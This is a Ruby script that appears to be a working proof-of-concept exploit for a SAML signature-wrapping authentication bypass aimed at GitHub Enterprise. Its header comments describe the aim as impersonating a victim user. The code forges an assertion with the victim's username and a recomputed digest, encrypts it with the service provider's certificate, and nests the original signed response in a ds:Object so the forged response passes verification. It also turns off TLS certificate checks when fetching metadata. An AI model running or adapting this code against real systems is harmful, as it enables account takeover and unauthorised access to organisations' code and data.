## Variable Usage:
# username - Victim Github Username/Email to impersonate.
# SAMLResponse - SAML Response body.
# metadata_url - IDP's Metadata URL.
# RelayState - Relay state associated with the SAML Response body.

require 'nokogiri'
require 'openssl'
require 'base64'
require 'cgi'
require 'open-uri'
saml_response_xml = Base64.decode64(CGI.unescape(ENV['SAMLResponse']))
saml_response = Nokogiri::XML(saml_response_xml)
namespaces = {'ds' => 'http://www.w3.org/2000/09/xmldsig#','saml2' => 'urn:oasis:names:tc:SAML:2.0:assertion','saml2p' => 'urn:oasis:names:tc:SAML:2.0:protocol'}
issuer = saml_response.xpath('//saml2:Issuer', namespaces).first.text

metadata_idp_url = (ENV['metadata_url'])
# URL to fetch the XML from
url = "#{ENV['RootURL']}/saml/metadata"
begin
  # Open the URL and read the XML
  xml_content = URI.open(url,{ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }).read
  xml_content_idp = URI.open(metadata_idp_url,{ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }).read
  # Parse the XML content with Nokogiri
  doc = Nokogiri::XML(xml_content)
  idp_doc = Nokogiri::XML(xml_content_idp)

  # Extract the ds:X509Certificate
  certificate = doc.at_xpath('//ds:X509Certificate', 'ds' => 'http://www.w3.org/2000/09/xmldsig#')
  audience = doc.at_xpath('//md:EntityDescriptor/@entityID').value
  recipient = doc.at_xpath('//md:AssertionConsumerService/@Location').value
  idp_cert = idp_doc.at_xpath('//ds:X509Certificate', 'ds' => 'http://www.w3.org/2000/09/xmldsig#')


  # Print the extracted certificate
  if certificate
    enc_cert = Base64.decode64("#{certificate.text.strip}")
  else
    puts "ds:X509Certificate not found in the XML."
  end

rescue OpenURI::HTTPError => e
  puts "HTTP Error: #{e.message}"
rescue => e
  puts "An error occurred: #{e.message}"
end
signed_assertion_xml = <<-XML
<saml2:Assertion ID="id1423912998721389200353112" IssueInstant="2024-10-13T09:53:46.851Z" Version="2.0" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">issuer_replace</saml2:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#id1423912998721389200353112"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>2n9HGB3mHU+gxo8DJrIw0MwT/Gs7/agpmo+C1sb7mtU=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>OYOIw4wMFxm3OaG/n7YbQxcWKAFDmUjD33WIQJ3VgdsWdfV141v34AcV0tQ3A5dh9vWsM7/Kn3D0HETJzylJUaI4HhWWkNHrGpPX07Tjd0Yk7y9cD3+AzjIIsYlLGtpHFQ6jNAIzq4BumR+sb0ERQaG7IQqxgkCRY49YFtcJryxwjsgu/LD4gI7wOLdWh2cnZgReH5s9hXzyXaRoziUNdSv5McZx/T3VV76qGE2GZbQUGnBm9jwHjGriedi1PksKZxxcKdsumXk20i+fWEU8ueQJYm1mIHQa5bn2AVgE8D1grOYlhAOgjV8ByXZB0hC0Zkrgth9h1ij9rY9yBRxPVw==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>cert_replace</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">user_replace</saml2:NameID><saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml2:SubjectConfirmationData Recipient="recipient_replace"/></saml2:SubjectConfirmation></saml2:Subject><saml2:Conditions xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:AudienceRestriction><saml2:Audience>audience_replace</saml2:Audience></saml2:AudienceRestriction></saml2:Conditions><saml2:AuthnStatement AuthnInstant="2024-10-13T09:27:23.840Z" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:AuthnContext><saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef></saml2:AuthnContext></saml2:AuthnStatement><saml2:AttributeStatement><saml2:Attribute Name="emails" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"><saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">user_replace</saml2:AttributeValue></saml2:Attribute></saml2:AttributeStatement></saml2:Assertion>
XML

signed_assertion_xml = signed_assertion_xml.gsub "cert_replace", idp_cert
doc = Nokogiri::XML(signed_assertion_xml)

signed_assertion_xml = doc.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)

cert = enc_cert
cert = OpenSSL::X509::Certificate.new(cert)
public_key = cert.public_key

# Encrypt the signed assertion node using AES and RSA for key wrapping
def encrypt_assertion(assertion_node, rsa_public_key)
  # Create a random AES key for encrypting the data
  aes_key = OpenSSL::Cipher.new('AES-256-CBC').random_key

  # Encrypt the signed assertion (as an XML string)
  cipher = OpenSSL::Cipher.new('AES-256-CBC')
  cipher.encrypt
  cipher.key = aes_key

  encrypted_data = cipher.update(assertion_node) + cipher.final

  # Encrypt the AES key using the RSA public key
  encrypted_aes_key = rsa_public_key.public_encrypt(aes_key, 4)


  # Base64 encode both the encrypted data and the encrypted AES key
  encrypted_data_b64 = Base64.encode64(encrypted_data)
  encrypted_aes_key_b64 = Base64.encode64(encrypted_aes_key)
  encrypted_assertion_xml = <<-XML
      <saml:EncryptedAssertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
        <xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#">
          <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#aes256-cbc"/>
          <ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
            <xenc:EncryptedKey>
              <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p"/>
              <xenc:CipherData>
                <xenc:CipherValue>#{encrypted_aes_key_b64}</xenc:CipherValue>
              </xenc:CipherData>
            </xenc:EncryptedKey>
          </ds:KeyInfo>
          <xenc:CipherData>
            <xenc:CipherValue>#{encrypted_data_b64}</xenc:CipherValue>
          </xenc:CipherData>
        </xenc:EncryptedData>
      </saml:EncryptedAssertion>
      XML

  Nokogiri::XML(encrypted_assertion_xml)
end

# Parse the signed assertion into Nokogiri XML document
doc = Nokogiri::XML(signed_assertion_xml)
assertion_node = doc.at('//saml2:Assertion', namespaces)
assertion_node_str= assertion_node.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)
assertion_node_str = assertion_node_str.gsub! "user_replace", "#{ENV['username']}"
assertion_node_str = assertion_node_str.gsub! "issuer_replace", issuer
assertion_node_str = assertion_node_str.gsub! "recipient_replace", recipient
assertion_node_str = assertion_node_str.gsub! "audience_replace", audience
assertion_node_1 = Nokogiri::XML(assertion_node_str)
assertion_node_dup = assertion_node_1.dup
assertion_node_dup.at_xpath("//ds:Signature", namespaces).remove

assertion_node_dup.xpath('//text()').each do |text_node|
  text_node.content = text_node.text.strip
end

canonical_xml = assertion_node_dup.canonicalize(
Nokogiri::XML::XML_C14N_EXCLUSIVE_1_0,
[], # InclusiveNamespaces PrefixList
false # WithComments
)

# Compute the SHA-256 Digest
digest = OpenSSL::Digest::SHA256.digest(canonical_xml)
digest_base64 = Base64.encode64(digest).strip
assertion_node_1.at_xpath("//ds:DigestValue", namespaces).content = digest_base64
final_assertion_node_str = assertion_node_1.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)
encrypted_assertion_node = encrypt_assertion("padinggggggggggg"+final_assertion_node_str, public_key)
encrypted_assertion_node_str = encrypted_assertion_node.to_xml

#create new saml doc

saml_resp_node = saml_response.at('/saml2p:Response', namespaces)
saml_resp_sign_node = saml_response.at('/saml2p:Response/ds:Signature', namespaces)
saml_resp_sign_key_node = saml_response.at('/saml2p:Response/ds:Signature/ds:KeyInfo', namespaces)
object_node = Nokogiri::XML::Node.new("Object", saml_resp_sign_node)
object_node.namespace = saml_resp_sign_node.namespace
object_node.add_child(saml_resp_node.dup)
saml_resp_sign_key_node.add_next_sibling(object_node)
encrypted_assertion_node = Nokogiri::XML(encrypted_assertion_node_str)
encrypted_assertion_node1 = encrypted_assertion_node.at_xpath('//saml2:EncryptedAssertion', namespaces )
saml_response.at_xpath('/saml2p:Response/saml2:EncryptedAssertion', namespaces).replace(encrypted_assertion_node1)
saml_resp_node['ID'] = saml_resp_node['ID'][0..-3]+"ae"
puts CGI.escape(Base64.strict_encode64(saml_response.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)))
